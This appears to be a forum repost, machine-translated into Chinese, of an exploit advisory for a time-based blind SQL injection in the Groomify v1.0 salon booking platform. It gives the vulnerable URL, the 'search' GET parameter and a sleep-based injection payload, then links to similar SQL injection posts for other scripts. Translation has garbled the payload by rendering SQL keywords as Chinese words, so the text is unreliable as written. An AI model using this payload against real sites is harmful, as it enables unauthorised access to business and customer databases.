Groomify V1.0 -SQL注入

[HackApt-37 Team已验证会员]

＃利用标题: GROOMIFY V1.0 -SQL注入
＃日期: 2023-06-17
＃利用作者: ahmetümitBayram
＃vendor:

Groomify - Barber Shop, Salon, Spa Booking and E-Commerce Platform

Groomify is a comprehensive and versatile software solution designed specifically for barbershops, salons, spas, and beauty businesses. With Groomify, you can effortlessly manage every aspect of...

codecanyon.net

＃DEMO SITE: https://script.bugfinder.net/groomify
＃在: Kali Linux上测试
＃CVE: N/A。
###脆弱的URL ###

https://localhost/groomify/blog-search？search=有效载荷

###参数有效载荷###
参数:搜索（GET）
Type:基于时间的盲人
title: mysql=5.0.12和基于时间的盲人（查询睡眠）
PAYLOAD:搜索=DENEME'和（从（Select（Sleep（5）））XPPF中选择1642）
和'rszk'='rszk

 

H

JobPiLot v2.61 -SQL注射

H

商店v2.5 -SQL注入